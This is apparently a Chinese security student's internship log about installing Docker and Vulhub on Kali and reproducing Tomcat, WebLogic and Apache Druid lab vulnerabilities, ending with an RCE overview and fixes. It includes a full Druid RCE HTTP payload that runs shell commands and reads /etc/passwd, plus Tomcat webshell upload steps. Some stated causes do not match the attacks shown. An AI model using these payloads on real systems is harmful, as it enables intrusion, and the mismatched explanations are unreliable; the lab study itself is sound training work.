网络空间安全毕业实习日志day8

目录

1.在vps安装docker和docker-compose

Docker

Docker-compose

Docker与Docker-compose的联系与区别

vps安装docker和docker-compose 

2.上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因

tomcat 

tomcat 漏洞复现

tomcat 漏洞成因

weblogic

weblogic 漏洞复现

weblogic 漏洞成因

apache druid RCE

apache druid RCE 漏洞复现

apache druid RCE 漏洞成因

3.总结RCE漏洞的原理和利用条件及解决方案


1.在vps安装docker和docker-compose

Docker与Docker-compose是现代软件开发和部署中不可或缺的工具,它们在容器化应用方面发挥着重要作用。

Docker

1. 简介

Docker是一个开源的应用容器引擎,它允许开发者将应用程序及其依赖项打包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上。Docker通过提供轻量级、可移植的容器环境,简化了应用程序的部署和管理。

2. 核心概念

  • 镜像(Image):Docker镜像是一个只读的、可执行的文件系统,包含了所有应用的代码、库、系统工具等。镜像可以通过Docker Hub、Docker Registry等仓库来获取和分享。
  • 容器(Container):Docker容器是从镜像创建的运行实例,包含了应用的所有依赖项和运行时环境。容器是隔离的,每个容器都运行在自己的独立的文件系统和网络空间中,不会互相影响。
  • Dockerfile:Dockerfile是用于构建Docker镜像的文件,包含了一系列的构建指令,例如FROM、RUN、COPY、CMD等。开发人员可以通过编写Dockerfile来定义应用的构建过程,并使用Docker CLI来构建镜像。
  • Docker Engine:Docker Engine是Docker的核心组件,负责构建、运行和管理容器。它包含了一个容器运行时、镜像存储、API服务等组件。

3. 主要特点

  • 可移植性:Docker容器可以在任何安装了Docker引擎的机器上运行。
  • 隔离性:每个Docker容器都是完全独立的,实现了应用程序的隔离。
  • 轻量级:Docker容器比传统的虚拟机更轻量级,因为它们共享宿主机的内核。
  • 自动化:通过Dockerfile,开发者可以自动化地构建、打包和发布应用程序。
  • 安全性:Docker通过限制容器对宿主机的访问权限和提供安全的容器间通信机制,增强了应用程序的安全性。

Docker-compose

1. 简介

Docker-compose是Docker的官方开源项目,用于定义和运行多容器Docker应用程序。它允许开发人员使用YAML格式的配置文件(docker-compose.yml)来定义应用的多个容器及其之间的关系,并可以一次性启动、停止、重新构建所有容器。

2. 核心概念

  • Compose文件(docker-compose.yml):这是一个YAML格式的配置文件,用于定义应用的多个容器及其之间的关系。它包含了容器的名称、镜像、端口、环境变量等配置项。
  • 服务(Service):在Compose文件中,服务是一个独立的容器,用于运行应用的一个组件。每个服务都有一个唯一的名称和镜像,可以通过Compose文件中的配置项来定义运行参数。
  • 网络(Network):在Compose文件中,网络是一个用于连接多个容器的虚拟网络。容器可以通过网络来相互通信。
  • 卷(Volume):在Compose文件中,卷是一个可以在多个容器之间共享的持久化存储。它用于存储应用的数据、配置文件等。

3. 主要特点

  • 多容器定义:通过编写一个YAML格式的配置文件,可以定义多个相互依赖的服务和它们之间的连接关系。
  • 一键部署:使用Docker Compose,可以一键启动或停止多个容器,而无需逐个手动操作。
  • 依赖管理:Docker Compose可以自动处理容器之间的依赖关系,确保服务按照正确的顺序启动和停止。
  • 环境变量和配置管理:可以在docker-compose.yml文件中定义环境变量和配置文件,并在容器之间共享。
  • 网络管理:Docker Compose可以创建和管理容器之间的网络,确保它们能够相互通信。

Docker与Docker-compose的联系与区别

联系

  • Docker是一个用于构建、运行和管理容器的工具,而Docker Compose则是一个用于定义、运行多容器应用的工具。
  • Docker Compose使用Docker Engine来运行和管理容器,并通过Compose文件来定义应用的多个容器及其之间的关系。

区别

  • Docker主要用于单个容器的创建、管理和运行,提供了强大的可移植性、隔离性和自动化功能。
  • Docker Compose则专注于定义和运行多容器Docker应用程序,通过管理容器之间的依赖关系、环境变量、网络等,使得复杂应用程序的部署和管理变得更加容易。

vps安装docker和docker-compose 

kali安装docker及vulhub靶场环境

root权限下,编辑 /etc/apt/sources.list文件,更换国内镜像源

1)vim /etc/apt/sources.list

# 镜像源,二选一即可

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib        # 中科大

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib         #  阿里云

2)apt-get update                                                                                    # 换源之后更新

下载docker及docker-compose

1)apt install docker.io

2)docker -v                                            # 查看docker版本

3)pip install docker-compose                # 使用pip下载安装,没有pip的执行apt install python3-pip

4)docker-compose -v                            # 查看docker-compose版本

# 此处若出现报错,更换pip源再次下载

pip install docker-compose -i Simple Index

下载vulhub靶场

git clone https://github.com/vulhub/vulhub.git

 

2.上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因

tomcat 

Tomcat 服务器是一个开源的轻量级 Web 应用服务器,在中小型系统和并发量小的场合下被普遍使用,是开发和调试 Servlet、JSP 程序的首选。

tomcat 漏洞复现

Tomcat 弱口令+getshell 漏洞环境搭建进入 

验证 :http://192.168.129.210:8080/

http://192.168.129.210:8080/manager/html   进入后台 弱口令 tomcat

war 包制作 : jar -cvf shell_jsp2.war shell.jsp             将shell.jsp打包为war包。

上传木马 war 包

访问木马:http://192.168.1.5:8080/shell.jsp/shell.jsp

使用冰蝎连接,密码abcdef

成功复现

tomcat 漏洞成因

  Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell

weblogic

开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。

weblogic 漏洞复现

 启动靶场后访问 192.168.1.57001/console/login/LoginForm.jsp

nmap扫描

攻击机kali nmap扫描靶机ip,看目标是否开启T3协议

nmap -n -v -p 7001 your-ip --script=weblogic-t3-info

 

weblogic 漏洞成因

存在弱口令

apache druid RCE

  Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点,广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid,企业和开发者可以快速获得实时分析结果,提升决策效率。

apache druid RCE 漏洞复现

打开环境可以看到下图:

点击 Load data 按钮

点击 Local disk 按钮

抓包发送下面的POC

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
 
{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{
 
                },
                "dimensionsSpec":{
 
                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

命令成功执行

apache druid RCE 漏洞成因

  在Apache Druid使用Apache Kafka加载数据的场景下,未经身份认证的远程攻击者可配置Kafka连接属性,从而利用CVE-2023-25194漏洞触发JNDI注入,最终执行任意代码。(其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响)


3.总结RCE漏洞的原理和利用条件及解决方案

1. 什么是远程代码执行漏洞

远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。

2. 漏洞产生的根本原因

服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

3. 如何挖掘RCE漏洞

黑盒测试:网站中有特殊功能,比如Ping、数据库备份等等。

白盒测试:查看命令执行函数是否做过滤。命令执行函数如下:

PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()

4. 挖到这个漏洞能做什么

  • 远程命令、代码执行(单凭这一点能做的事情就不少,如下)
  • 获取敏感数据、文件、服务器信息
  • 写入恶意文件Getshell

5. 如何利用此漏洞

在网上你会发现有很多关于RCE的文章基本都是白盒检测出来的,但是渗透测试过程中,都是黑盒测试的。但是黑盒挖掘RCE漏洞太难了,很少有特征点,要理解参数的意义才有可能黑盒测试到。

6. 漏洞造成的危害

RCE漏洞造成的危害不言而喻,高危漏洞。能直接获取服务器的控制权。

7. 发现此漏洞,该怎么修复

  • 通用的修复方案,升级插件/框架/服务最新版。
  • 如若必须使用危险函数,那么针对危险函数进行过滤。

8. 如何防范此漏洞

  • 在进入执行命令函数前进行严格的检测和过滤;
  • 尽量不要使用命令执行函数,不能完全控制的危险函数最好不使用;
  • 对于eval函数,一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式;
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值